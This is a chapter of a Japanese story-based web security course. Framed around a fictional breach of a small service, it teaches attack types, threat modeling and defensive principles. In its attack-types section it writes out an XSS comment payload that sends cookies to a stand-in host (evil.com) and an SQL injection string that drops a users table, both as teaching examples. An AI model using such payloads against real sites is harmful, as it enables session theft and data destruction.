11
🔒 危機編 Chapter 11

侵入者の影

ShimaLinkが攻撃された。セキュリティの世界へ踏み出す

約50分
Security Fundamentals · intro Threat Modeling · intro Attack Vectors · intro
目次(27セクション)
🎬 Story — Introduction

深夜2時。あなたのスマホが鳴り止まない。

Yukiからの着信、チームからのメッセージ、そしてShimaLinkの監視システムからのアラートが次々と届く。寝ぼけ眼でスマホを見ると、画面には赤い警告が並んでいた。

[ALERT] 異常なデータベースアクセスを検出 [ALERT] 未認証のAPIリクエスト: 247件/分 [ALERT] ユーザーデータのエクスポートを検知


あなた: 「大変だ!ShimaLinkがハッキングされてる!!Mikaさんから『お客さんの個人情報が漏れたんじゃないか』って電話が来た!」

あなた: 「えっ…!? 認証システムは先月しっかり作ったはずなのに…」

Yuki: 「落ち着いて。まずサーバーのログを確認しよう。認証を突破されたんじゃない——認証の外側から攻められたんだ。」

ログを開くと、そこには見たことのない痕跡があった。コメント欄に不自然なコードが挿入され、検索機能を通じてデータベースに直接命令が送られていた。そして、すべてのアクセスログに共通する署名——

<!-- Shadow was here. Your walls are made of paper. -->

Yuki: 「“Shadow”…。計画的な攻撃だ。これは偶然じゃない。」

あなた: 「どうする?サービスを止めるべきか?」

Yuki: 「まずサービスをメンテナンスモードに切り替えて、被害の範囲を特定する。そして——」

Yukiがあなたの目を見る。

Yuki: 「これからセキュリティについて本気で学ぶ必要がある。敵が何をしたのか理解できなければ、守ることもできないから。」


ShimaLinkの最大の危機が始まった。顧客の信頼、チームの結束、そしてあなたのエンジニアとしての成長——すべてが試される。

Shadowの正体は誰なのか。そして、どうすればShimaLinkを守れるのか。

危機編(Crisis Arc)の幕が開く。

なぜセキュリティが重要なのか

ShimaLinkが攻撃された。それは「いつか起きるかもしれない」ことではなく、「すでに起きた」現実だ。

Yuki: 「セキュリティは保険みたいなもの。何も起きてないときは面倒に感じるけど、事故が起きたら『なぜもっと早くやらなかったのか』と後悔する。」

セキュリティの3本柱: CIA

セキュリティの基本はCIAと呼ばれる3つの要素で構成されます。

要素英語意味ShimaLinkでの例
機密性Confidentiality許可された人だけがデータにアクセスできるユーザーの個人情報が第三者に見られない
完全性Integrityデータが勝手に改ざんされない予約情報が書き換えられない
可用性Availability必要なときにサービスが使えるShimaLinkが常にアクセス可能

今回のShadowの攻撃は、機密性を破壊した。ユーザーのメールアドレスが盗まれたのだ。

「自分は大丈夫」という幻想

小さなWebサービスだから狙われない?それは間違いです。

攻撃者の視点:
- 大企業 → セキュリティが強固。突破に時間がかかる
- 小規模サービス → セキュリティが甘い。簡単に侵入できる
                   しかもセキュリティ意識が低いので発見が遅い

自動化された攻撃ツールは、インターネット上のすべてのWebサイトを無差別にスキャンします。ShimaLinkのような小規模サービスも例外ではありません。

セキュリティ事故の影響

セキュリティ事故が起きると、技術的な問題だけでは済みません。

影響の種類具体的な被害
金銭的損失復旧コスト、賠償金、売上減少
信頼の喪失ユーザー離れ、評判の低下
法的リスク個人情報保護法違反、訴訟
時間の浪費復旧作業、対応に追われる

あなた: 「Mikaさんのカフェのお客さんは、ShimaLinkを信頼して個人情報を預けてくれた。その信頼を裏切ったら…」

開発者の責任

コードを書くということは、ユーザーのデータを預かるということです。

// これは単なるコードではない
const user = {
  name: "田中太郎",
  email: "tanaka@example.com",
  phone: "090-1234-5678"
};

// このデータには「人の生活」が詰まっている
// 守る責任は、開発者にある

ポイント

  • セキュリティは「後から付け足す機能」ではなく、最初から組み込むべき思想
  • CIA(機密性・完全性・可用性)がセキュリティの基本
  • 小規模サービスこそ攻撃のターゲットになりやすい
  • セキュリティ事故の影響は技術面だけでなく、ビジネスや法律にも及ぶ

よくある攻撃の種類

Shadowがどんな武器を使ったのか理解するために、Webアプリケーションに対する代表的な攻撃手法を学ぼう。

Yuki: 「敵の手口を知らなければ、防御もできない。まずは攻撃のカタログを見てみよう。」

攻撃の分類

Webアプリケーションへの攻撃は、大きく分けて以下のカテゴリに分類されます。

カテゴリ攻撃の例狙い
インジェクションSQLインジェクション, コマンドインジェクション悪意のあるコードを注入する
クロスサイト攻撃XSS, CSRFユーザーのブラウザを悪用する
認証・認可の突破ブルートフォース, セッションハイジャック他人になりすます
情報漏洩ディレクトリトラバーサル, エラーメッセージ露出秘密情報を盗み出す
サービス妨害DDoS, リソース枯渇サービスを使えなくする

インジェクション攻撃

アプリケーションに「悪意のあるコード」を注入する攻撃です。

正常な入力: "田中太郎"
攻撃者の入力: "田中太郎'; DROP TABLE users; --"

アプリがこの入力をそのままSQLに組み込むと、データベースが破壊されます。これがSQLインジェクションです。Chapter 13で詳しく学びます。

クロスサイトスクリプティング(XSS)

ユーザーのブラウザで悪意のあるスクリプトを実行させる攻撃です。

正常なコメント: "このカフェ最高!"
攻撃者のコメント: "<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>"

他のユーザーがこのコメントを表示すると、クッキー(セッション情報)が盗まれます。Chapter 12で詳しく学びます。

ブルートフォース攻撃

パスワードを片っ端から試す攻撃です。

試行1: password123   → 失敗
試行2: admin          → 失敗
試行3: shimalink2024  → 失敗
...
試行10000: user0815  → 成功!

対策: ログイン試行回数の制限、強力なパスワードポリシー、多要素認証。

DDoS攻撃

大量のアクセスを送りつけて、サービスをダウンさせる攻撃です。

通常: 100リクエスト/分 → サーバー正常
DDoS: 1,000,000リクエスト/分 → サーバーダウン

Yuki: 「お店に100人のお客さんが来るのは歓迎だけど、100万人が同時に押し寄せたら、ドアすら開けられないでしょ?」

Shadowが使った攻撃

今回のShimaLink侵害では、以下の攻撃が確認されました。

1. XSS(クロスサイトスクリプティング)
   → コメント欄にスクリプトを埋め込み
   → 管理者のセッションクッキーを奪取

2. SQLインジェクション
   → 検索機能を悪用
   → データベースからユーザー情報を直接取得

3. 組み合わせ攻撃
   → XSSで得た管理者権限 + SQLiでデータ抽出
   → 短時間で最大の被害を実現

ポイント

  • 攻撃には多くの種類があるが、基本的な原理は共通している
  • インジェクション系とクロスサイト系が最も一般的
  • 攻撃者は複数の手法を組み合わせることが多い
  • 次のチャプターからXSSとSQLインジェクションを深く掘り下げる

脅威モデリング — 攻撃者の目で考える

守るためには、まず「何を、誰から、どうやって守るか」を整理する必要がある。これが脅威モデリングだ。

Yuki: 「家の防犯を考えるとき、まず泥棒がどこから入ってくるか考えるでしょ?Webアプリも同じだよ。」

脅威モデリングとは

脅威モデリングは、システムの弱点と攻撃経路を事前に特定するプロセスです。

STRIDEモデル

Microsoftが提唱した代表的な脅威分類フレームワークです。

脅威英語意味ShimaLinkでの例
なりすましSpoofing他人のふりをする管理者になりすましてログイン
改ざんTamperingデータを書き換える予約情報の不正変更
否認Repudiation行為を否定する「注文してない」と嘘をつく
情報漏洩Information Disclosure機密情報が漏れるユーザーメールの流出
サービス拒否Denial of Serviceサービスを止めるShimaLinkをダウンさせる
権限昇格Elevation of Privilege管理者権限を奪う一般ユーザーが管理画面にアクセス

ShimaLinkの脅威マップ

実際にShimaLinkを脅威モデリングしてみよう。

[ユーザー] ---(入力)--> [フロントエンド] ---(API)--> [バックエンド] ---(クエリ)--> [データベース]
    |                       |                           |                           |
    |                       |                           |                           |
  攻撃ポイント1          攻撃ポイント2              攻撃ポイント3              攻撃ポイント4
  ・ブラウザ操作          ・XSS                    ・認証バイパス              ・SQLインジェクション
  ・セッション奪取        ・CSRF                   ・権限昇格                 ・データ漏洩

攻撃面(Attack Surface)を特定する

攻撃面とは、攻撃者がシステムに侵入できる可能性のあるすべての接点です。

ShimaLinkの攻撃面を洗い出してみます。

攻撃面具体例リスク
ユーザー入力コメント欄、検索フォーム、プロフィール編集インジェクション、XSS
APIREST API エンドポイント認証バイパス、データ漏洩
ファイルアップロードプロフィール画像悪意あるファイル実行
外部連携メール送信、SNS連携SSRF、情報漏洩
管理画面/admin パス権限昇格、不正アクセス

Yuki: 「すべての入口がセキュリティの対象。“ユーザーの入力は信用しない”——これがセキュリティの第一原則だよ。」

リスクの優先順位づけ

すべてを同時に修正することはできません。リスクの影響度発生確率で優先順位をつけます。

            影響度 高
               |
    [緊急対応]  |  [最優先修正]
    DDoS対策    |  SQLi修正, XSS修正
               |
  ─────────────┼─────────────── 発生確率
               |                    高
    [後回し]    |  [計画的に対応]
    物理侵入    |  CSRF対策
               |
            影響度 低

ShimaLinkでは、SQLインジェクションとXSSが最優先修正に位置する。実際に悪用されたからだ。

実践: 脅威リストを作る

ShimaLinkの脅威リストを作ってみよう。

## ShimaLink 脅威リスト v1.0

### 最優先(実際に悪用された)
- [ ] XSS: コメント欄への悪意あるスクリプト注入
- [ ] SQLi: 検索機能を通じたデータベース操作

### 高優先(悪用される可能性が高い)
- [ ] 認証: ブルートフォース攻撃への対策
- [ ] CSRF: 状態変更リクエストのトークン検証
- [ ] セッション: セッション固定攻撃への対策

### 中優先(計画的に対応)
- [ ] ファイルアップロードの検証強化
- [ ] APIレート制限の実装
- [ ] エラーメッセージからの情報漏洩防止

ポイント

  • 脅威モデリングは「攻撃者の視点で考える」こと
  • STRIDEモデルで脅威を分類できる
  • 攻撃面(Attack Surface)を特定し、優先順位をつける
  • 「ユーザーの入力は信用しない」がセキュリティの第一原則

セキュリティ・マインドセット — 考え方を変える

セキュリティは技術だけの問題ではない。考え方を変える必要がある。

Yuki: 「プログラマーは”どうやって動かすか”を考える。セキュリティエンジニアは”どうやって壊すか”を考える。両方できるようになろう。」

「防御者のジレンマ」

攻撃者と防御者の立場は根本的に非対称です。

攻撃者防御者
成功条件1つの穴を見つければ勝ちすべての穴を塞がなければ負け
時間好きなタイミングで攻撃24時間365日守り続ける
知識1つの攻撃手法に精通すればいいすべての攻撃手法を知る必要がある
コスト自動化ツールで低コスト人材・ツール・教育に投資が必要

だからこそ、**「最初からセキュリティを組み込む」**アプローチが重要になります。後から穴を塞ぐより、最初から穴を作らない方がはるかに効率的です。

セキュリティの基本原則

1. 最小権限の原則(Principle of Least Privilege)

必要最小限の権限だけを与える。

// 悪い例: すべてのユーザーに管理者権限
const user = { role: "admin" }; // 全員admin!?

// 良い例: 役割に応じた最小限の権限
const user = { role: "viewer" }; // 閲覧のみ
// 管理操作が必要な場合のみ、一時的に権限を付与

2. 多層防御(Defense in Depth)

1つの防御に頼らず、複数の層で守る。

[攻撃] → [ファイアウォール] → [WAF] → [入力検証] → [認証] → [認可] → [暗号化] → [データ]
         第1層              第2層    第3層       第4層    第5層    第6層

Yuki: 「お城を思い浮かべて。堀、城壁、門、見張り塔…。1つが突破されても、次の防御線がある。」

3. フェイルセキュア(Fail Secure)

エラーが起きたとき、安全な側に倒す。

// 悪い例: エラー時にアクセスを許可
function checkPermission(user) {
  try {
    return verifyToken(user.token);
  } catch (error) {
    return true; // エラー → アクセス許可!? 危険!
  }
}

// 良い例: エラー時にアクセスを拒否
function checkPermission(user) {
  try {
    return verifyToken(user.token);
  } catch (error) {
    console.error("認証エラー:", error);
    return false; // エラー → アクセス拒否(安全側)
  }
}

4. ユーザー入力を信用しない

すべての外部入力は潜在的に危険です。

// クライアントから来るデータは「すべて」検証する
app.post('/api/comment', (req, res) => {
  const comment = req.body.comment;

  // 長さチェック
  if (comment.length > 1000) return res.status(400).send('長すぎます');

  // 危険な文字のエスケープ(詳しくはChapter 12で)
  const safe = escapeHtml(comment);

  // 保存
  saveComment(safe);
});

セキュリティを「文化」にする

セキュリティは1人の担当者の仕事ではなく、チーム全体の文化です。

チームのセキュリティ文化:

1. コードレビューにセキュリティ観点を含める
2. 依存ライブラリを定期的にアップデートする
3. セキュリティインシデントを隠さず共有する
4. 「おかしい」と思ったらすぐ報告する
5. 定期的にセキュリティ研修を行う

あなた: 「ビジネス側の俺にもできることがあるんだな。」

Yuki: 「むしろあなたの役割は大きいよ。パスワードの使い回しをやめる、怪しいメールを開かない、権限管理をちゃんとする——セキュリティの基本はチーム全員の意識だから。」

Shadowからのメッセージ

ログの奥底に、もう一つメッセージが見つかった。

// Your authentication was decent. But you forgot everything else.
// Security is not a feature. It's a foundation.
// - Shadow

Yuki: 「…皮肉なことに、Shadowの言ってることは正しい。認証だけでは不十分だった。セキュリティは基盤であるべきなんだ。」

ポイント

  • 防御者は攻撃者より不利な立場。だから「最初から組み込む」
  • 最小権限、多層防御、フェイルセキュア、入力不信が基本原則
  • セキュリティは技術だけでなく、チーム全体の文化
  • 次章からXSS、SQLインジェクションの具体的な防御を学ぶ
📖 Story — Conclusion

チーム全員でログを精査し、被害の全体像が見えてきた。

[侵害レポート]
- 漏洩したデータ: ユーザーメールアドレス 142件
- 攻撃経路: XSSによるセッション奪取 + SQLインジェクション
- 侵害期間: 約3時間
- 攻撃者の署名: "Shadow"

Mika: 「お客さんたちに何て説明すれば…」

あなた: 「Mikaさん、本当に申し訳ありません。すべてのユーザーに通知を出して、パスワードのリセットもお願いします。」

あなた: 「でも、これで終わりじゃないだろ?またやられるんじゃ…」

Yuki: 「だからこそ、ここからが本番なんだ。今回の攻撃で使われた手法は大きく分けて2つ。XSS——クロスサイトスクリプティングと、SQLインジェクション。次のステップは、これらを一つずつ理解して、完全に防御すること。」

Yukiがホワイトボードに書き始める。

Yuki: 「セキュリティは”完璧”にはならない。でも、攻撃者よりも賢くなることはできる。」

あなた: 「…やります。ShimaLinkを使ってくれてる人たちのために。」


あなたはノートPCの前に座り直す。画面にはShimaLinkのソースコードが映っている。

このコードのどこに穴があったのか。Shadowはどうやってそれを見つけたのか。

答えを知るために、まずは攻撃者の視点を理解する必要がある。

次のチャプター: Chapter 12: 見えない罠 — XSSの仕組みを理解し、コメント欄に仕込まれた罠を解析する。

🧠 理解度チェック

Q1.セキュリティの3本柱「CIA」のCは何を表す?

💡 Shadowの攻撃で最初に破られたのが機密性だった。ユーザーのメールアドレスが流出した。

Q2.脅威モデリングのSTRIDEモデルで「S」が表すのは?

💡 Yukiが脅威を分類するために紹介してくれたフレームワークだ。

Q3.「最小権限の原則」の意味として正しいのは?

💡 ShimaLinkではすべてのユーザーが同じ権限を持っていた。これが攻撃の被害を拡大させた。

Q4.「攻撃面(Attack Surface)」とは何を指す?

💡 Yukiがホワイトボードに書いたShimaLinkの攻撃面マップを思い出そう。

Q5.「多層防御(Defense in Depth)」の考え方として正しいのは?

💡 Yukiが「お城の防御」に例えた考え方。ShimaLinkには認証しかなく、他の層がなかった。

Q6.フェイルセキュア(Fail Secure)の原則では、エラー時にどうすべき?

💡 Yukiが見せた「良い例」のコードを思い出そう。catchブロックでfalseを返していた。

Q7.DDoS攻撃の目的は何?

💡 Yukiが「100万人が同時にお店に押しかける」と例えた攻撃だ。

Q8.セキュリティ対策として最も重要な考え方は?

💡 Shadowのメッセージにもあった。「Security is not a feature. It's a foundation.」

よくある質問

CIAトライアドとCIAの違いは?

**CIAトライアド**はセキュリティの基本概念で、アメリカの諜報機関とは無関係です。 | 要素 | 意味 | 具体例 | |------|------|--------| | **Confidentiality(機密性)** | 認可された人だけがアクセス | パスワード保護、暗号化 | | **Integrity(完全性)** | データが改ざんされない | ハッシュ検証、デジタル署名 | | **Availability(可用性)** | 必要なとき使える | 冗長化、DDoS対策 | すべてのセキュリティ対策は、この3つのどれかを守るために存在します。

脅威モデリングの進め方がわからない

以下の4ステップで進めましょう: 1. **資産の特定**: 守るべきものは何か? - ユーザーデータ、認証情報、ビジネスロジック 2. **攻撃面の特定**: どこから攻撃される? - フォーム入力、API、ファイルアップロード 3. **脅威の分類**: STRIDEで分類 - なりすまし、改ざん、否認、情報漏洩、DoS、権限昇格 4. **優先順位付け**: 影響度 x 発生確率でランク付け ``` 高影響 x 高確率 → 最優先で対応 高影響 x 低確率 → 計画的に対応 低影響 x 高確率 → 早めに対応 低影響 x 低確率 → 後回しでOK ```

「ユーザー入力を信用しない」とは具体的にどういうこと?

すべてのユーザーからの入力データを「潜在的に悪意がある」と仮定して処理することです。 **信用してはいけないもの:** - フォームの入力値 - URLのパラメータ - クッキーの値 - HTTPヘッダー - ファイルアップロード **対策:** ```javascript // 必ず検証・サニタイズしてから使う const name = sanitize(req.body.name); const age = parseInt(req.body.age, 10); if (isNaN(age) || age < 0 || age > 150) { return res.status(400).send('無効な年齢'); } ``` クライアント側のバリデーションは簡単に回避できるので、**必ずサーバー側でも検証**してください。

XSSとSQLインジェクションの違いがわからない

どちらも「インジェクション(注入)」攻撃ですが、対象が異なります。 | | XSS | SQLインジェクション | |---|-----|-------------------| | **対象** | ユーザーのブラウザ | サーバーのデータベース | | **注入するもの** | JavaScript | SQL文 | | **被害** | クッキー窃取、フィッシング | データ漏洩、DB破壊 | | **攻撃先** | 他のユーザー | サーバー直接 | **XSS**: 悪意あるJSがブラウザで実行される **SQLi**: 悪意あるSQLがDBサーバーで実行される 詳しくはChapter 12(XSS)とChapter 13(SQLi)で学びます。

ブルートフォース攻撃への対策方法は?

パスワードを総当たりで試す攻撃への対策は複数あります: 1. **ログイン試行回数の制限** ```javascript // 5回失敗でアカウントを15分ロック if (failedAttempts >= 5) { lockAccount(user, 15 * 60); // 15分 } ``` 2. **強力なパスワードポリシー** - 最低8文字以上 - 大文字・小文字・数字・記号を含む 3. **多要素認証(MFA)** - パスワード + SMSコード/認証アプリ 4. **CAPTCHA** - ボットによる自動試行を防ぐ 5. **遅延の導入** - 失敗するたびに待ち時間を増やす

セキュリティ事故が起きたら最初にすべきことは?

パニックにならず、以下の順序で対応します: 1. **封じ込め(Containment)** - サービスをメンテナンスモードに切り替え - 侵害されたアカウントを無効化 2. **調査(Investigation)** - ログを確認して攻撃の範囲を特定 - いつから、何が、どこまで漏れたかを把握 3. **通知(Notification)** - 影響を受けたユーザーに通知 - 必要に応じて監督機関に報告 4. **修復(Remediation)** - 脆弱性を修正 - パスワードリセットを実施 5. **振り返り(Post-mortem)** - 根本原因を分析 - 再発防止策を策定

多層防御の具体的な実装イメージがわからない

Webアプリの多層防御を具体的に示すと: ``` 第1層: ネットワーク → ファイアウォール、WAF、DDoS対策 第2層: アプリケーション → 入力検証、出力エスケープ、CSRF対策 第3層: 認証・認可 → パスワードハッシュ、MFA、RBAC 第4層: データ → 暗号化(保存時・通信時)、バックアップ 第5層: 監視 → ログ監視、異常検知、アラート ``` ShimaLinkにはLayer 3(認証)しかなかった。Layer 2(入力検証)がなかったためにXSSとSQLiが成功した。

開発者として最低限やるべきセキュリティ対策は?

以下の5つは最低限実施してください: 1. **すべてのユーザー入力を検証・サニタイズする** - 入力は信用しない 2. **パスワードをハッシュ化して保存する** - 平文保存は絶対NG(Chapter 14で詳しく) 3. **HTTPSを使う** - 通信を暗号化する 4. **依存ライブラリを最新に保つ** - `npm audit` で脆弱性をチェック 5. **エラーメッセージに内部情報を含めない** - スタックトレースやDBスキーマを表示しない ```bash # 依存ライブラリの脆弱性チェック npm audit # 自動修正 npm audit fix ```

セキュリティの勉強で参考になるリソースは?

以下のリソースがおすすめです: **入門向け:** - **OWASP Top 10**: Webアプリの最も重要な脆弱性トップ10(Chapter 15で詳しく学びます) - **MDN Web Security**: Mozillaの公式セキュリティガイド **実践向け:** - **OWASP WebGoat**: 安全な環境で脆弱性を体験できるトレーニングツール - **PortSwigger Web Security Academy**: 無料のWebセキュリティ学習サイト **日本語リソース:** - **IPA(情報処理推進機構)**: セキュリティ関連の資料が豊富 - **徳丸本**: 「体系的に学ぶ 安全なWebアプリケーションの作り方」 まずはOWASP Top 10を一読することをおすすめします。

「フェイルセキュア」と「フェイルオープン」の違いは?

エラー発生時の挙動の違いです。 | | フェイルセキュア | フェイルオープン | |---|---|---| | **エラー時** | アクセス拒否 | アクセス許可 | | **安全性** | 高い | 低い | | **利便性** | 低い(誤拒否あり) | 高い(誤許可あり) | | **使う場面** | セキュリティ重視 | 可用性重視 | ```javascript // フェイルセキュア(推奨) catch (error) { return false; } // 拒否 // フェイルオープン(危険) catch (error) { return true; } // 許可 ``` セキュリティに関わる処理では**必ずフェイルセキュア**を採用してください。